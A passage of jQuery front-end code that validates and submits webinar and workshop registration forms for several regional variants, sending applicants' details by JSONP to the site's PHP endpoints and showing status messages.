                jQuery('#webinar_selection').parent().parent().addClass('has-error');
                jQuery('.topic_error').show();
                return false;
            }
            else
            {     
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                //console.log(first_name+','+last_name+','+email+','+webinar_id+','+subscribe_us);
                console.log(webinar_selection);
                jQuery.ajax({
                    type: 'POST',
                    url : fullpath+'/webinar_submit_jp.php?first_name='+encodeURIComponent(first_name)+'&university_email='+encodeURIComponent(university_email)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&university_name='+encodeURIComponent(university_name)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_selection='+encodeURIComponent(webinar_selection)+'&webinar_pid='+encodeURIComponent(webinar_pid),
                    dataType: 'jsonp',
                    jsonpCallback: "callback",
                    data : 'first_name='+encodeURIComponent(first_name)+'&university_email='+encodeURIComponent(university_email)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&university_name='+encodeURIComponent(university_name)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_selection='+encodeURIComponent(webinar_selection)+'&webinar_pid='+encodeURIComponent(webinar_pid),
                    success:function(response){
                        console.log(response);
                        var response_split = response.split("|");
                        //console.log(response_split);
                        if(response_split[0] == "User registered")		
                        {
                            jQuery("#btn_submit").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.has-success, .has-success .success_msg').fadeIn(); 
                            ga('send', 'event', 'WebinarRegSuccessMessage', 'RegistrationBtnClick', 'WebinarPage');
                        }
                        else if(response_split[0] == "The user is already registered")
                        {
                            jQuery("#btn_submit").prop('disabled', false);
                            //jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            //jQuery('.web_already_registered, .web_already_registered .already_registered_msg').fadeIn();
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.has-success, .has-success .success_msg').fadeIn(); 
                        }
                        else if(response_split[0] == "User registered old")
                        {
                            jQuery("#btn_submit").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.has-success-redirect, .has-success-redirect .success_msg_redirect').fadeIn();     
                            window.setTimeout(function(){                            
                                window.location.href = response_split[1];
                            }, 6000);   

                            if(jQuery("#webinar_counter").length)
                            {
                                var interval = setInterval(function() {
                                    counter--;
                                    jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').css({"text-decoration" : "underline", "font-weight" : "bold", "color" : "darkgreen"});
                                    jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').html(counter);
                                    if (counter == 1) {
                                        window.location.href = response_split[1];
                                        clearInterval(interval);
                                    }
                                }, 1000);
                            }
                            else
                            {
                                var interval = setInterval(function() {
                                    counter--;                                    
                                    if (counter == 1) {
                                        window.location.href = response_split[1];
                                        clearInterval(interval);
                                    }
                                }, 1000);
                            }                                
                        }
                        else
                        {
                            jQuery("#btn_submit").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                        }
                    },
                  error:function(response){
                    console.log(response);
                    jQuery("#btn_submit").prop('disabled', false);
                    jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                    jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                  }			
                }); 
              }          
            });
        });		
    });
    
    /**New JP Webinar**/
    
    jQuery("#webinar_submit_btn_tw").click(function(){	
        
        var first_name = jQuery("#webinar_first_name").val();
        /*var university_email = jQuery("#webinar_uni_email").val();*/
        var email = jQuery("#webinar_email").val();
        var webinar_id = jQuery("#webinar_id").val();
        var webinar_type = jQuery("#webinar_type").val();
        var webinar_name = jQuery("#webinar_name").val();
        var subscribe_us = jQuery("#subscribe_us").val(); 
        var webinar_pid = jQuery("#webinar_pid").val();
        var webinar_source = GetURLParameter('utm_source');
        var webinar_medium = GetURLParameter('utm_medium');
        var webinar_campaign = GetURLParameter('utm_campaign');  


        jQuery('.has-success, .has-warning').hide();

        if(jQuery('#subscribe_us').is(":checked"))
        {
            var subscribe_us = "Yes";
        }
        else
        {
            var subscribe_us = "No";
        }
        //console.log(email);
        if(first_name.trim() == "")
        {
            jQuery('.form-group').removeClass('has-error');
            jQuery('.help-block').hide();
            jQuery('#webinar_first_name').parent().addClass('has-error');
            jQuery('.firstname_error').show();
            return false;
        } 
        else if(university_email.trim() == "" || !validateEmail(university_email))
        {
            jQuery('.form-group').removeClass('has-error');
            jQuery('.help-block').hide();
            jQuery('#webinar_uni_email').parent().addClass('has-error');
            jQuery('.uni_email_error').show();
            return false;
        }
        else if(email.trim() == "" || !validateEmail(email))
        {
            jQuery('.form-group').removeClass('has-error');
            jQuery('.help-block').hide();
            jQuery('#webinar_email').parent().addClass('has-error');
            jQuery('.email_error').show();
            return false;
        }
        else
        {  
            jQuery('.form-group').removeClass('has-error');
            jQuery('.help-block').hide();
            //console.log(first_name+','+last_name+','+email+','+webinar_id+','+subscribe_us);
            jQuery.ajax({
                type: 'POST',
                 url : fullpath+'/webinar_submit_tw.php?first_name='+encodeURIComponent(first_name)+'&university_email='+encodeURIComponent(university_email)+'&email_id='+encodeURIComponent(email)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign),
                dataType: 'jsonp',
                jsonpCallback: "callback",
                data : 'first_name='+encodeURIComponent(first_name)+'&university_email='+encodeURIComponent(university_email)+'&email_id='+encodeURIComponent(email)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign),
                success:function(response){
                    console.log(response);
                    var response_split = response.split("|");
                    //console.log(response_split);
                    if(response_split[0] == "User registered")		
                    {
                        jQuery("#btn_submit").prop('disabled', false);
                        jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                        jQuery('.has-success, .has-success .success_msg').fadeIn(); 
                        ga('send', 'event', 'WebinarRegSuccessMessage', 'RegistrationBtnClick', 'WebinarPage');
                    }
                    else if(response_split[0] == "The user is already registered")
                    {
                        jQuery("#btn_submit").prop('disabled', false);
                        jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                        jQuery('.web_already_registered, .web_already_registered .already_registered_msg').fadeIn();
                    }
                    else if(response_split[0] == "User registered old")
                    {
                        jQuery("#btn_submit").prop('disabled', false);
                        jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                        jQuery('.has-success-redirect, .has-success-redirect .success_msg_redirect').fadeIn();     
                        window.setTimeout(function(){                            
                            window.location.href = response_split[1];
                        }, 6000);   


                        if(jQuery("#webinar_counter").length)
                        {
                            var interval = setInterval(function() {
                                counter--;
                                jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').css({"text-decoration" : "underline", "font-weight" : "bold", "color" : "darkgreen"});
                                jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').html(counter);
                                if (counter == 1) {
                                    window.location.href = response_split[1];
                                    clearInterval(interval);
                                }
                            }, 1000);
                        }
                        else
                        {
                            var interval = setInterval(function() {
                                counter--;                                    
                                if (counter == 1) {
                                    window.location.href = response_split[1];
                                    clearInterval(interval);
                                }
                            }, 1000);
                        }
                    }
                    else
                    {
                        jQuery("#btn_submit").prop('disabled', false);
                        jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                        jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                    }
                },
              error:function(response){
                console.log(response);
                jQuery("#btn_submit").prop('disabled', false);
                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
              }			
         });  
        }
    });
    
    
    jQuery("#webinar_can_btn").click(function(){        
        var first_name = jQuery("#webinar_first_name").val();
        var university_email = jQuery("#webinar_uni_email").val();         
        var designation_name = jQuery("#designation_name").val();
        var organization_name = jQuery("#department_name").val();
        var faculty_name = jQuery("#faculty_name").val();
        const country_data = jQuery("#country_selector").countrySelect("getSelectedCountryData");
        console.log(country_data);
        var country = country_data.name;
        var subscribe_us = jQuery("#subscribe_us").val(); 
        var webinar_region = jQuery("#webinar_region").val();
        var webinar_source = GetURLParameter('utm_source');
        var webinar_medium = GetURLParameter('utm_medium');
        var webinar_campaign = GetURLParameter('utm_campaign'); 
                
        jQuery('.has-success, .has-warning').hide();

        if(jQuery('#subscribe_us').is(":checked"))
        {
            var subscribe_us = "Yes";
        }
        else
        {
            var subscribe_us = "No";
        }
        //console.log(email);
        if(first_name.trim() == "")
        {
            jQuery('.form-group').removeClass('has-error');
            jQuery('.help-block').hide();
            jQuery('#webinar_first_name').parent().addClass('has-error');
            jQuery('.firstname_error').show();
            return false;
        } 
        else if(university_email.trim() == "" || !validateEmail(university_email))
        {
            jQuery('.form-group').removeClass('has-error');
            jQuery('.help-block').hide();
            jQuery('#webinar_uni_email').parent().addClass('has-error');
            jQuery('.uni_email_error').show();
            return false;
        }
        else if(designation_name.trim() == "")
        {
            jQuery('.form-group').removeClass('has-error');
            jQuery('.help-block').hide();
            jQuery('#designation_name').parent().addClass('has-error');
            jQuery('.designation_name_error').show();
            
            return false;
        }
        else if(organization_name.trim() == "")
        {
            jQuery('.form-group').removeClass('has-error');
            jQuery('.help-block').hide();
            jQuery('#department_name').parent().addClass('has-error');
            jQuery('.department_name_error').show();
            return false;
        }
        else if(faculty_name.trim() == "")
        {
            jQuery('.form-group').removeClass('has-error');
            jQuery('.help-block').hide();
            jQuery('#faculty_name').parent().addClass('has-error');
            jQuery('.faculty_name_error').show();
            return false;
        }

        jQuery('.form-group').removeClass('has-error');
        jQuery('.help-block').hide();
        jQuery("#webinar_can_btn").prop('disabled', true);
        //console.log(first_name+','+last_name+','+email+','+webinar_id+','+subscribe_us);
        jQuery.ajax({
            type: 'POST',
            url : fullpath+'/webinar_submit_sp.php?first_name='+encodeURIComponent(first_name)+'&university_email='+encodeURIComponent(university_email)+'&subscribe_us='+subscribe_us+'&organization_name='+encodeURIComponent(organization_name)+'&designation_name='+encodeURIComponent(designation_name)+'&faculty_name='+encodeURIComponent(faculty_name)+'&country='+encodeURIComponent(country)+'&webinar_region='+encodeURIComponent(webinar_region)+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign),
            dataType: 'jsonp',
            jsonpCallback: "callback",
            data : 'first_name='+encodeURIComponent(first_name)+'&university_email='+encodeURIComponent(university_email)+'&subscribe_us='+subscribe_us+'&organization_name='+encodeURIComponent(organization_name)+'&designation_name='+encodeURIComponent(designation_name)+'&faculty_name='+encodeURIComponent(faculty_name)+'&country='+encodeURIComponent(country)+'&webinar_region='+encodeURIComponent(webinar_region)+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign),
            success:function(response){
                console.log(response);
                var response_split = response.split("|");
                //console.log(response_split);
                if(response_split[0] == "User registered")		
                {
                    jQuery("#webinar_can_btn").prop('disabled', false);
                    jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                    jQuery('.has-success, .has-success .success_msg').fadeIn(); 
                    ga('send', 'event', 'WebinarRegSuccessMessage', 'RegistrationBtnClick', 'WebinarPage');
                }
                else if(response_split[0] == "The user is already registered")
                {
                    jQuery("#webinar_can_btn").prop('disabled', false);
                    //jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                    //jQuery('.web_already_registered, .web_already_registered .already_registered_msg').fadeIn();
                    jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                    jQuery('.has-success, .has-success .success_msg').fadeIn(); 
                }
                else
                {
                    jQuery("#webinar_can_btn").prop('disabled', false);
                    jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                    jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                }
            },
          error:function(response){
            console.log(response);
            jQuery("#webinar_can_btn").prop('disabled', false);
            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
            jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
          }			
        }); 
    });
    
    jQuery("#workshop_submit_btn").click(function(){        
        var first_name = jQuery("#workshop_first_name").val();        
        var university_email = jQuery("#workshop_uni_email").val();
        var email = jQuery("#workshop_email").val();
        var workshop_details = jQuery("#workshop_details").val();
        var workshop_subject = jQuery("#workshop_email_subject").val();
        var workshop_id = jQuery("#workshop_id").val();
        var workshop_registration_status = jQuery("#workshop_registration_status").val();
        var subscribe_us = jQuery("#subscribe_us").val();
        var workshop_region = jQuery("#workshop_region").val();
        jQuery('.has-success, .has-warning').hide();
        
        if (jQuery('#subscribe_us').is(":checked"))
        {
            var subscribe_us = "Yes";
        }
        else
        {
            var subscribe_us = "No";
        }
        
        if(first_name.trim() == "")
        {
            jQuery('.form-group').removeClass('has-error');
            jQuery('.help-block').hide();
            jQuery('#workshop_first_name').parent().addClass('has-error');
            jQuery('.firstname_error').show();
            jQuery("#workshop_submit_btn").prop('disabled', false);
			return false;
        }
        else if(university_email.trim() == "" || !validateEmail(university_email))
        {
            jQuery('.form-group').removeClass('has-error');
            jQuery('.help-block').hide();
            jQuery('#workshop_uni_email').parent().addClass('has-error');
            jQuery('.uni_email_error').show();
            jQuery("#workshop_submit_btn").prop('disabled', false);
			return false;
        }
        else if(email.trim() == "" || !validateEmail(email))
		{
            jQuery('.form-group').removeClass('has-error');
            jQuery('.help-block').hide();
			jQuery('#workshop_email').parent().addClass('has-error');
            jQuery('.email_error').show();
            jQuery("#workshop_submit_btn").prop('disabled', false);
			return false;
		}        
		else
		{
            jQuery('.form-group').removeClass('has-error');
            jQuery('.help-block').hide();
            //console.log(first_name+','+last_name+','+email+','+webinar_id+','+subscribe_us);
            jQuery("#workshop_submit_btn").prop('disabled', true);
            //console.log(first_name);
            jQuery.ajax({
				type: 'POST',
				url : fullpath+'/workshop_submit.php?first_name='+first_name+'&university_email='+university_email+'&email_id='+email+'&subscribe_us='+subscribe_us+'&workshop_details='+workshop_details+'&workshop_subject='+workshop_subject+'&workshop_id='+workshop_id+'&workshop_registration_status='+workshop_registration_status+'&workshop_region='+workshop_region,
                dataType: 'jsonp',
                jsonpCallback: "callback",
				data : 'first_name='+first_name+'&university_email='+university_email+'&email_id='+email+'&subscribe_us='+subscribe_us+'&workshop_details='+workshop_details+'&workshop_subject='+workshop_subject+'&workshop_id='+workshop_id+'&workshop_registration_status='+workshop_registration_status+'&workshop_region='+workshop_region,
				success:function(response){
                    console.log(response);                    
                    if(response == "User registered")		
                    {
                        jQuery("#workshop_submit_btn").prop('disabled', false);
                        jQuery('.has-success, .has-warning').hide();
                        jQuery('.has-success, .has-success .success_msg').fadeIn();                        
                    }
                    else if(response == "The user is already registered")
                    {
                        jQuery("#workshop_submit_btn").prop('disabled', false);
                        jQuery('.has-success, .has-warning').hide();
                        jQuery('.web_already_registered, .web_already_registered .already_registered_msg').fadeIn();
                    }
                    else if(response == "Registrations closed")
                    {
                        jQuery("#workshop_submit_btn").prop('disabled', false);
                        jQuery('.has-success, .has-warning').hide();
                        jQuery('.registration_closed, .registration_closed .registration_closed_msg').fadeIn();
                    }
                    else if(response == "User registered")		
                    {
                        jQuery("#workshop_submit_btn").prop('disabled', false);
                        jQuery('.has-success, .has-warning').hide();
                        jQuery('.has-success, .has-success .success_msg').fadeIn();                        
                    }
                    else
                    {
                        jQuery("#workshop_submit_btn").prop('disabled', false);
                        jQuery('.has-success, .has-warning').hide();
                        jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                    }
				},
              error:function(response){
                jQuery("#workshop_submit_btn").prop('disabled', false);
                console.log(response);
              }			
			});         
        }
    });
    
    
    jQuery("#workshop_submit_btn_new").click(function(){        
        var first_name = jQuery("#workshop_first_name").val();        
        var university_email = jQuery("#workshop_uni_email").val();
        //var email = jQuery("#workshop_email").val();
        var department = jQuery("#workshop_department").val();        
        var institution = jQuery("#workshop_institution").val();
        var place = jQuery("#workshop_place").val();
        var workshop_details = jQuery("#workshop_details").val();
        var workshop_subject = jQuery("#workshop_email_subject").val();
        var workshop_id = jQuery("#workshop_id").val();
        var workshop_registration_status = jQuery("#workshop_registration_status").val();
        var subscribe_us = jQuery("#subscribe_us").val();
        var workshop_region = jQuery("#workshop_region").val();
        jQuery('.has-success, .has-warning').hide();
        
        if (jQuery('#subscribe_us').is(":checked"))
        {
            var subscribe_us = "Yes";
        }
        else
        {
            var subscribe_us = "No";
        }
        
        if(first_name.trim() == "")
        {
            jQuery('.form-group').removeClass('has-error');
            jQuery('.help-block').hide();
            jQuery('#workshop_first_name').parent().addClass('has-error');
            jQuery('.firstname_error').show();
            jQuery("#workshop_submit_btn").prop('disabled', false);
			return false;
        }
        else if(university_email.trim() == "" || !validateEmail(university_email))
        {
            jQuery('.form-group').removeClass('has-error');
            jQuery('.help-block').hide();
            jQuery('#workshop_uni_email').parent().addClass('has-error');
            jQuery('.uni_email_error').show();
            jQuery("#workshop_submit_btn").prop('disabled', false);
			return false;
        }       
		else
		{
            jQuery('.form-group').removeClass('has-error');
            jQuery('.help-block').hide();
            //console.log(first_name+','+last_name+','+email+','+webinar_id+','+subscribe_us);
            jQuery("#workshop_submit_btn").prop('disabled', true);
            //console.log(first_name);
            jQuery.ajax({
				type: 'POST',
				url : fullpath+'/workshop_submit_new.php?first_name='+first_name+'&university_email='+university_email+'&department='+department+'&institution='+institution+'&place='+place+'&subscribe_us='+subscribe_us+'&workshop_details='+workshop_details+'&workshop_subject='+workshop_subject+'&workshop_id='+workshop_id+'&workshop_registration_status='+workshop_registration_status+'&workshop_region='+workshop_region,
                dataType: 'jsonp',
                jsonpCallback: "callback",
				data : 'first_name='+first_name+'&university_email='+university_email+'&department='+department+'&institution='+institution+'&place='+place+'&subscribe_us='+subscribe_us+'&workshop_details='+workshop_details+'&workshop_subject='+workshop_subject+'&workshop_id='+workshop_id+'&workshop_registration_status='+workshop_registration_status+'&workshop_region='+workshop_region,
				success:function(response){
                    console.log(response);                    
                    if(response == "User registered")		
                    {
                        jQuery("#workshop_submit_btn").prop('disabled', false);
                        jQuery('.has-success, .has-warning').hide();
                        jQuery('.has-success, .has-success .success_msg').fadeIn();                        
                    }
                    else if(response == "The user is already registered")
                    {
                        jQuery("#workshop_submit_btn").prop('disabled', false);
                        jQuery('.has-success, .has-warning').hide();
                        jQuery('.web_already_registered, .web_already_registered .already_registered_msg').fadeIn();
                    }
                    else if(response == "Registrations closed")
                    {
                        jQuery("#workshop_submit_btn").prop('disabled', false);
                        jQuery('.has-success, .has-warning').hide();
                        jQuery('.registration_closed, .registration_closed .registration_closed_msg').fadeIn();
                    }
                    else if(response == "User registered")		
                    {
                        jQuery("#workshop_submit_btn").prop('disabled', false);
                        jQuery('.has-success, .has-warning').hide();
                        jQuery('.has-success, .has-success .success_msg').fadeIn();                        
                    }
                    else
                    {
                        jQuery("#workshop_submit_btn").prop('disabled', false);
                        jQuery('.has-success, .has-warning').hide();
                        jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                    }
				},
              error:function(response){
                jQuery("#workshop_submit_btn").prop('disabled', false);
                console.log(response);
              }			
			});         
        }
    });
    
    jQuery("#workshop_submit_btn_jp").click(function(){        
        var first_name = jQuery("#workshop_first_name").val();        
        var university_email = jQuery("#workshop_uni_email").val();
        //var email = jQuery("#workshop_email").val();
        var department = jQuery("#workshop_department").val();        
        var institution = jQuery("#workshop_institution").val();
        //var place = jQuery("#workshop_place").val();
        var workshop_details = jQuery("#workshop_details").val();
        var workshop_subject = jQuery("#workshop_email_subject").val();
        var workshop_id = jQuery("#workshop_id").val();
        var workshop_registration_status = jQuery("#workshop_registration_status").val();
        var subscribe_us = jQuery("#subscribe_us").val();
        var workshop_region = jQuery("#workshop_region").val();
        jQuery('.has-success, .has-warning').hide();
        
        if (jQuery('#subscribe_us').is(":checked"))
        {
            var subscribe_us = "Yes";
        }
        else
        {
            var subscribe_us = "No";
        }
        
        if(first_name.trim() == "")
        {
            jQuery('.form-group').removeClass('has-error');
            jQuery('.help-block').hide();
            jQuery('#workshop_first_name').parent().addClass('has-error');
            jQuery('.firstname_error').show();
            jQuery("#workshop_submit_btn").prop('disabled', false);
			return false;
        }
        else if(university_email.trim() == "" || !validateEmail(university_email))
        {
            jQuery('.form-group').removeClass('has-error');
            jQuery('.help-block').hide();
            jQuery('#workshop_uni_email').parent().addClass('has-error');
            jQuery('.uni_email_error').show();
            jQuery("#workshop_submit_btn").prop('disabled', false);
			return false;
        }       
		else
		{
            jQuery('.form-group').removeClass('has-error');
            jQuery('.help-block').hide();
            //console.log(first_name+','+last_name+','+email+','+webinar_id+','+subscribe_us);
            jQuery("#workshop_submit_btn").prop('disabled', true);
            //console.log(first_name);
            jQuery.ajax({
				type: 'POST',
				url : fullpath+'/workshop_submit_jp.php?first_name='+first_name+'&university_email='+university_email+'&department='+department+'&institution='+institution+'&subscribe_us='+subscribe_us+'&workshop_details='+workshop_details+'&workshop_subject='+workshop_subject+'&workshop_id='+workshop_id+'&workshop_registration_status='+workshop_registration_status+'&workshop_region='+workshop_region,
                dataType: 'jsonp',
                jsonpCallback: "callback",
				data : 'first_name='+first_name+'&university_email='+university_email+'&department='+department+'&institution='+institution+'&subscribe_us='+subscribe_us+'&workshop_details='+workshop_details+'&workshop_subject='+workshop_subject+'&workshop_id='+workshop_id+'&workshop_registration_status='+workshop_registration_status+'&workshop_region='+workshop_region,
				success:function(response){
                    console.log(response);                    
                    if(response == "User registered")		
                    {
                        jQuery("#workshop_submit_btn").prop('disabled', false);
                        jQuery('.has-success, .has-warning').hide();
                        jQuery('.has-success, .has-success .success_msg').fadeIn();                        
                    }
                    else if(response == "The user is already registered")
                    {
                        jQuery("#workshop_submit_btn").prop('disabled', false);
                        jQuery('.has-success, .has-warning').hide();
                        jQuery('.web_already_registered, .web_already_registered .already_registered_msg').fadeIn();
                    }
                    else if(response == "Registrations closed")
                    {
                        jQuery("#workshop_submit_btn").prop('disabled', false);
                        jQuery('.has-success, .has-warning').hide();
                        jQuery('.registration_closed, .registration_closed .registration_closed_msg').fadeIn();
                    }
                    else if(response == "User registered")		
                    {
                        jQuery("#workshop_submit_btn").prop('disabled', false);
                        jQuery('.has-success, .has-warning').hide();
                        jQuery('.has-success, .has-success .success_msg').fadeIn();                        
                    }
                    else
                    {
                        jQuery("#workshop_submit_btn").prop('disabled', false);
                        jQuery('.has-success, .has-warning').hide();
                        jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                    }
				},
              error:function(response){
                jQuery("#workshop_submit_btn").prop('disabled', false);
                console.log(response);
              }			
			});         
        }
    });
    
    jQuery("#workshop_submit_btn_kr").click(function(){        
        var first_name = jQuery("#workshop_first_name").val();        
        var university_email = jQuery("#workshop_uni_email").val();
        var student_title = jQuery("#workshop_student_title").val();
        var department = jQuery("#workshop_student_department").val();
        var student_id = jQuery("#workshop_student_id").val();
        /*var college = jQuery("#workshop_student_college").val();        
        var degree_program = jQuery("#workshop_student_department").val();
        var degree_program_others = jQuery("#workshop_degree_other").val();*/
        var answers = jQuery("#workshop_answers").val();  
        var answer_others = jQuery("#workshop_other").val();
        var comments = jQuery("#workshop_comments").val();        
        var workshop_details = jQuery("#workshop_details").val();
        var workshop_subject = jQuery("#workshop_email_subject").val();
        var workshop_id = jQuery("#workshop_id").val();
        var workshop_registration_status = jQuery("#workshop_registration_status").val();
        var subscribe_us = jQuery("#subscribe_us").val();
        var workshop_region = jQuery("#workshop_region").val();
        jQuery('.has-success, .has-warning').hide();
        
        if (jQuery('#subscribe_us').is(":checked"))
        {
            var subscribe_us = "Yes";
        }
        else
        {
            var subscribe_us = "No";
        }
        
        if(first_name.trim() == "")
        {
            jQuery('.form-group').removeClass('has-error');
            jQuery('.help-block').hide();
            jQuery('#workshop_first_name').parent().addClass('has-error');
            jQuery('.firstname_error').show();
            jQuery("#workshop_submit_btn_kr").prop('disabled', false);
			return false;
        }
        else if(department.trim() == "")
        {
            jQuery('.form-group').removeClass('has-error');
            jQuery('.help-block').hide();
            jQuery('#workshop_student_department').parent().addClass('has-error');
            jQuery('.department_error').show();
            jQuery("#workshop_submit_btn_kr").prop('disabled', false);
			return false;
        }
        else if(university_email.trim() == "" || !validateEmail(university_email))
        {
            jQuery('.form-group').removeClass('has-error');
            jQuery('.help-block').hide();
            jQuery('#workshop_uni_email').parent().addClass('has-error');
            jQuery('.uni_email_error').show();
            jQuery("#workshop_submit_btn_kr").prop('disabled', false);
			return false;
        }
        else if(student_id.trim() == "" && workshop_region == 27696)
        {
            jQuery('.form-group').removeClass('has-error');
            jQuery('.help-block').hide();
            jQuery('#workshop_student_id').parent().addClass('has-error');
            jQuery('.id_error').show();
            jQuery("#workshop_submit_btn_kr").prop('disabled', false);
			return false;
        }
		else
		{
            jQuery('.form-group').removeClass('has-error');
            jQuery('.help-block').hide();
            //console.log(first_name+','+last_name+','+email+','+webinar_id+','+subscribe_us);
            jQuery("#workshop_submit_btn_kr").prop('disabled', true);
            console.log(student_id);
            jQuery.ajax({
				type: 'POST',					
				url : fullpath+'/workshop_submit_kr.php?first_name='+encodeURIComponent(first_name)+'&student_title='+encodeURIComponent(student_title)+'&department='+encodeURIComponent(department)+'&student_id='+encodeURIComponent(student_id)+'&university_email='+encodeURIComponent(university_email)+'&answers='+encodeURIComponent(answers)+'&answer_others='+encodeURIComponent(answer_others)+'&comments='+encodeURIComponent(comments)+'&subscribe_us='+subscribe_us+'&workshop_details='+workshop_details+'&workshop_subject='+workshop_subject+'&workshop_id='+workshop_id+'&workshop_registration_status='+workshop_registration_status+'&workshop_region='+workshop_region,
                dataType: 'jsonp',
                processData: false,
                contentType: false,
                jsonpCallback: "callback",
				data : 'first_name='+encodeURIComponent(first_name)+'&student_title='+encodeURIComponent(student_title)+'&department='+encodeURIComponent(department)+'&student_id='+encodeURIComponent(student_id)+'&university_email='+encodeURIComponent(university_email)+'&answers='+encodeURIComponent(answers)+'&answer_others='+encodeURIComponent(answer_others)+'&comments='+encodeURIComponent(comments)+'&subscribe_us='+subscribe_us+'&workshop_details='+workshop_details+'&workshop_subject='+workshop_subject+'&workshop_id='+workshop_id+'&workshop_registration_status='+workshop_registration_status+'&workshop_region='+workshop_region,
				success:function(response){
                    console.log(response);                    
                    if(response == "User registered")		
                    {
                        jQuery("#workshop_submit_btn_kr").prop('disabled', false);
                        jQuery('.has-success, .has-warning').hide();
                        jQuery('.has-success, .has-success .success_msg').fadeIn();                        
                    }
                    else if(response == "The user is already registered")
                    {
                        jQuery("#workshop_submit_btn_kr").prop('disabled', false);
                        jQuery('.has-success, .has-warning').hide();
                        jQuery('.web_already_registered, .web_already_registered .already_registered_msg').fadeIn();
                    }
                    else if(response == "Registrations closed")
                    {
                        jQuery("#workshop_submit_btn_kr").prop('disabled', false);
                        jQuery('.has-success, .has-warning').hide();
                        jQuery('.registration_closed, .registration_closed .registration_closed_msg').fadeIn();
                    }
                    else if(response == "User registered")		
                    {
                        jQuery("#workshop_submit_btn_kr").prop('disabled', false);
                        jQuery('.has-success, .has-warning').hide();
                        jQuery('.has-success, .has-success .success_msg').fadeIn();                        
                    }
                    else
                    {
                        jQuery("#workshop_submit_btn_kr").prop('disabled', false);
                        jQuery('.has-success, .has-warning').hide();
                        jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                    }
				},
              error:function(response){
                jQuery("#workshop_submit_btn_kr").prop('disabled', false);
                console.log(response);
              }			
			});         
        }
    });
    
    // webinar submit prv univ.
    jQuery("#webinar_submit_btn_kr_prv").click(function(){        
        var first_name = jQuery("#webinar_first_name").val();        
        var student_title = jQuery("#webinar_student_title").val();
        var univ_department = jQuery("#webinar_univ_department").val();
        var student_department = jQuery("#webinar_student_department").val();
        var uni_email = jQuery("#webinar_uni_email").val();
        var student_id = jQuery("#webinar_student_id").val();
        /*var college = jQuery("#workshop_student_college").val();        
        var degree_program = jQuery("#workshop_student_department").val();
        var degree_program_others = jQuery("#workshop_degree_other").val();*/
        var answers = jQuery("#webinar_answers").val();  
        var answer_others = jQuery("#webinar_other").val();
        var comments = jQuery("#webinar_comments").val();        
        var webinar_details = jQuery("#webinar_details").val();
        var webinar_subject = jQuery("#webinar_email_subject").val();
        var webinar_id = jQuery("#webinar_id").val();
        var webinar_registration_status = jQuery("#webinar_registration_status").val();
        var subscribe_us = jQuery("#subscribe_us").val();
        var webinar_region = jQuery("#webinar_region").val();
        jQuery('.has-success, .has-warning').hide();
        
        if (jQuery('#subscribe_us').is(":checked"))
        {
            var subscribe_us = "Yes";
        }
        else
        {
            var subscribe_us = "No";
        }
        
        if(first_name.trim() == "")
        {
            jQuery('.form-group').removeClass('has-error');
